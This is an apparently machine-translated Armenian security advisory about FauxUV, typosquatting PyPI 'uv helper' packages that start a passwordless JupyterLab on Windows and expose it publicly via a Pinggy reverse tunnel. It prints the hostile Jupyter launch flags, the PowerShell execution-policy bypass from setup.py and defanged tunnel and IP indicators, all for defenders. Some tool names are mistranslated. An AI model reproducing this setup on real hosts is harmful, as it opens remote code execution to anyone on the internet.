FauxUV. կեղծ PyPI uv փաթեթներ, որոնք բացում են Jupyter-ը համացանցում

FauxUV՝ կեղծ PyPI uv օգնականներ, որոնք ինտերնետում բացում են չհաստատված Jupyter սերվեր։

TL. DR

PyPI փաթեթների կլաստեր փոխառել է անունը uv, արագ, չափազանց հայտնի Rust-ի վրա հիմնված Python փաթեթների կառավարիչը, ներկայանալու որպես UV օգնականներ: Նրանք գրեթե ոչ մի իրական ֆունկցիոնալություն չեն առաջարկում: Դրա փոխարեն նրանք ունեն Windows-ի օգտակար բեռ, որը կանգնած է JupyterLab սերվեր՝ անջատված նույնականացմամբ և ավելի ուշ տարբերակներում այն ​​հրապարակում է հանրային ինտերնետում՝ հակադարձ թունելի միջոցով։

Ահա ամբողջ պատմությունը մեկ տողում. որպես գայթակղիչ՝ վստահելի գործիքի անուն, իսկ որպես հեռակառավարվող կոդի կատարման շարժիչ՝ JupyterLab։ Jupyter սերվերը գործարկում է այն կոդը, որը դուք մուտքագրում եք not-ի մեջ։ebook բջիջ; մեկը, որը գործարկվում է դատարկ տոկենով և կապված է յուրաքանչյուր ցանցային ինտերֆեյսի հետ, բաց մեկնաբան է, որը կարող է աշխատեցնել յուրաքանչյուր ոք, ով կարող է հասնել միացքին։

Մենք հետևում ենք կլաստերին որպես FauxUV. Ուսումնասիրված երկու փաթեթներն են moon-uv (0.0.1-0.0.16) եւ my-magic-uv-helper (0.0.1), հրապարակված նույն օպերատորի կողմից և վերլուծության պահին PyPI-ում ուղիղ եթերում։

էկոհամակարգըՊԻՊԻ
Փաթեթներmoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Հարթակի թիրախավորումWindows
Հիմնական վարքագիծԱնվավեր JupyterLab սերվեր, որը հրապարակվել է ինտերնետում հակադարձ թունելի միջոցով
Օրինական գործիքների չարաշահումուլտրամանուշակագույն, JupyterLab, ամպամած, Pinggy

Գայթակղություն. անուն, որին արդեն վստահում եք

uv վերջին երկու տարիների ընթացքում ամենաշատ տեղադրված Python գործիքներից մեկն է, ուստի «օգնական է uv«» փաթեթ է, որը մշակողը տեղադրում է առանց երկրորդ մտքի: FauxUV-ն իր հեղինակությունը ամբողջությամբ ծախսում է այդ անվան վրա: Փաթեթները փաթեթավորում են անկեղծ uv Astral-ի տեղադրիչը՝ բեռնման URL-ները մատնանշում են իրական, հեղինակավոր հոսթեր, այնպես որ արագ հայացքից ոչինչ չի երևում, բացի վստահելի հղումներից։ Փաթեթներից ոչ մեկը իրականում չի ավելացնում uv ֆունկցիոնալություն; անունն ամբողջ քողարկումն է։

JupyterLab-ը որպես RCE շարժիչ

Բեռի կենտրոնական մասը արձակիչ-հարվածային սարք է, որը գործարկում է JupyterLab-ը յուրաքանչյուր պաշտպանիչ ցանկապատի հեռացումից հետո։

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Յուրաքանչյուր դրոշ հեռացնում է պաշտպանությունը, և ուղարկված սկրիպտը նույնիսկ նշում է դրանք (բնօրինակ չինարենով). դատարկ տոկենը «անջատում է գաղտնաբառերի և տոկենների ստուգումները՝ ցանկացած մեկը կարող է միանալ»։ Յուպիտերի լաբորատորիա օրինական տվյալագիտության IDE է, բայց ոչebook բջիջը նախագծված կերպով կատարում է կամայական կոդ։ Կարգավորված է այսպես և կապված է 0.0.0.0, այն դադարում է IDE լինելուց և վերածվում է հոսթի վրա չհաստատված հեռակա shell-ի՝ ոչ մի հատուկ վնասակար ծրագրի բինար ֆայլ անհրաժեշտ չէ, պարզապես հիմնական գործիքը սխալ ուղղությամբ է ցույց տալիս։

Երկու հենարանային մասերը դա դարձնում են հասանելի և կրկնելի.

  • Լուռ տեղադրման ակտիվացուցիչ։ Վաղ տարբերակները գործարկում են PowerShell-ը -Կատարման քաղաքականության շրջանցում ուղիղ setup.py on pip տեղադրում, ֆոնին՝ սխալները ճնշելով այնպես, որ ծվծվալ նորմալ տեսք ունի։ Ավելի ուշ տարբերակները նույն պրիմիտիվը տեղափոխում են պիպ-ուվ հրամանի տողի գործիք — և ամբողջությամբ անջատեք տեղադրման ժամանակ ավտոմատ գործարկումը։
  • Հանրային հակադարձ թունել։ Սերվերը միացված է 0.0.0.0 դեռևս հասանելի է միայն այն հոսթերին, որոնք կարող են երթուղիներ բացել դեպի մեքենա։ Միացված մոդուլը բացում է [Pinggy](https://pinggy.io/) SSH հակադարձ թունել, որը տեղական Jupyter պորտը վերահասցեագրում է հանրային հասցեի՝ վերացնելով այդ սահմանափակումը: Ուղարկված սկրիպտը նաև իրականացնում է՝ մեկնաբանված՝ այլընտրանքային ուղի՝ օգտագործելով Cloudflare-ի ամպամած եւ netsh port-proxy դեպի Linode IP, փաստաթղթավորելով նույն նպատակը տարբեր ենթակառուցվածքների միջոցով։

Հավաքեք. տեղադրեք փաթեթը, և Windows հոսթը գործարկում է գաղտնաբառ չունեցող JupyterLab-ը և հրապարակում այն ​​բաց ինտերնետում։

Ինչպես է զարգացել FauxUV-ը

FauxUV-ի տարբերակները արագորեն առաքվում էին հաջորդաբար, և բեռնվածքի ձգանման կետը տեղաշարժվում էր դրանց վրայով՝ հիշեցում այն ​​​​բանի մասին, որ մեկ դրոշակավորված տարբերակը հազվադեպ է պատմում փաթեթների գծի ամբողջ պատմությունը։

Փուլ Versions ձգան Ինչ է այն ավելացնում
Տեղադրման կեռիկ moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py pip տեղադրման ժամանակ uv տեղադրում + PATH նախածանց
CLI-ի աշխատանքային ժամանակ moon-uv 0.0.5-0.0.13 pip-uv հրաման գաղտնաբառազուրկ JupyterLab գործարկիչը
Թունել moon-uv 0.0.14-0.0.16 pip-uv հրաման ակտիվ Փինգգիի հակադարձ թունել

Հատկանշական է, որ տեղադրման ժամանակ ավտոմատ գործարկումը հեռացված ավելի ուշ, ավելի հզոր տարբերակներում՝ այսինքն՝ սկաները մուտքագրվում է միայն կյանքի ցիկլի ընթացքում hooks կգնահատեր ավելի նոր թողարկումները որպես ավելի քիչ ռիսկային, ճիշտ հակառակ ուղղությամբ։

Փոխզիջման ցուցիչներ

Հաստատված է փաթեթի աղբյուրը կարդալով. վերջնակետերը նշված են մեկնաբանել առկա են ֆայլերում, բայց չեն կատարվում վերլուծված տարբերակի կողմից։ Ցանցի ցուցիչները անջատված են։

Տիպ Ցուցիչ
Տեղադրել հրամանը powershell -ExecutionPolicy Bypass Pip տեղադրման ժամանակ իսկական UV տեղադրիչը ստանալը
JupyterLab դրոշներ --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Հակադարձ թունել (ակտիվ) free[.]pinggy[.]io:443 տեղական վերահասցեավորում 127.0.0.1:8888
Թունելի հյուրընկալող (մեկնաբանված) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (մեկնաբանված) 45[.]79[.]134[.]161 (Լինոդ) միջոցով netsh port-proxy
Համառություն նախադրում է %USERPROFILE%\.local\bin դեպի PATH օգտագործողը

Վարքային ազդանշաններ, որոնց վրա արժե ուշադրություն դարձնել, անկախ այս ճշգրիտ տողերից՝ ա pip տեղադրում որը ծնվում է powershell -ExecutionPolicy շրջանցիկ; ցանկացած jupyter մեկնարկային համատեղում տոկեն=”” հետ –ip=0.0.0.0; և ելքային SSH դեպի *.pinggy.io մշակողից կամ CI մեքենայից։

Դիտարկված վարքագիծ և ծագում

Երկու փաթեթներն ունեն ընդհանուր հեղինակ և մեթոդ՝ վստահելի գործիքի անուն, միայն Windows-ի համար նախատեսված դարպաս, սխալներից պաշտպանված ֆոնային աշխատանք և հեղինակավոր գործիքների վրա հիմնվածություն, այնպես որ արագ զննման դեպքում երևում են միայն հեղինակավոր URL-ներ: Աղբյուրը պարունակում է չինարեն լեզվով մեկնաբանություններ, որոնք հստակ նկարագրում են անվտանգությանը վերաբերող դրոշները. մենք դրանք ֆայլում ներկայացնում ենք որպես դիտարկելի հայտարարություններ, այլ ոչ թե որպես դրդապատճառի մասին պնդում: allow_origin արժեք և colab.bat Ֆայլի անունը արձագանքում է Google Colab-ի համար շրջանառվող ոչ պաշտոնական «կիսվել իմ տեղական աշխատանքային ժամանակով» աշխատանքային հոսքերին: Անկախ ծագումից, փաթեթավորված արդյունքը նույնն է:

Ազդեցություն և ուղղորդում պաշտպանների համար

Ո՞վ է ենթարկվում FauxUV ճառագայթման։ Windows մշակողներ և CI վազողներ, որոնք pip տեղադրում այս փաթեթներից մեկը։ Գաղտնաբառ չունեցող JupyterLab-ը 0.0.0.0 հեռակա կոդի կատարում է յուրաքանչյուրի համար, ով կարող է հասնել պորտին. թունելը վերացնում է «ով կարող է հասնել դրան» սահմանափակումը: Սերվերը աշխատում է որպես տեղադրող օգտատեր՝ ժառանգելով այդ օգտատիրոջ ֆայլերը, տոկենները և ամպային մուտքի տվյալները:

Ինչու՞ է հեշտ բաց թողնելը։ Յուրաքանչյուր ցանցային տող մատնանշում է հեղինակավոր հոսթինգ՝ Astral, JupyterLab, ամպամած, Փինգգի, Colab: Չկա որևէ վնասակար ֆայլ հեշելու համար և չկա որևէ մշուշոտ բլոկ վերծանելու համար: Հեղինակության և ստորագրության վրա հիմնված սկանավորումը թերագնահատում է սա, այդ իսկ պատճառով վարքային հարցը՝ Ի՞նչ է անում այս փաթեթի տեղադրումը համակարգչին — նա է, ով բռնում է այն։

Ուղեցույց

  • Բուժեք ցանկացած տեղադրման ժամանակ powershell -ExecutionPolicy շրջանցիկ որպես կառուցվածքը խզող ազդանշան, անկախ նրանից, թե URL-ը որից այն ստանում է։
  • Զգուշացում միացված է jupyter գործարկվել է դատարկ տոկենով և –ip=0.0.0.0; այդ համադրությունը երբեք չպետք է հայտնվի աշխատանքային կայանում կամ գործարկման կայանում։
  • Հետևեք SSH-ի ելքային տվյալներին դեպի թունելային մատակարարներ (*.pinggy.io, *.trycloudflare.com) մշակողի և CI միջավայրերից։
  • Տեղադրեք uv [պաշտոնական աղբյուրից] (https://docs.astral.sh/uv/) և կասկածամիտ եղեք երրորդ կողմի «օգնական» փաթեթների նկատմամբ, որոնք փաթեթավորում են արդեն իսկ հեշտ տեղադրման համար աննշան գործիքը։
  • Ամրացնել և վերանայել կախվածությունները թարմացման վրա. փաթեթների շարքը կարող է զարգացնել նոր հնարավորություններ տարբերակից տարբերակ։
sca-tools-software-composition-analysis-tools
Առաջնահերթություն տվեք, շտկեք և պաշտպանեք ձեր ծրագրային ռիսկերը
Ստացեք ձեր անվճար հաշիվը։
Ոչ մի վարկային քարտ չի պահանջվում:

Ապահովեք ձեր ծրագրային ապահովման մշակումը և մատակարարումը

Xygeni Product Suite-ի հետ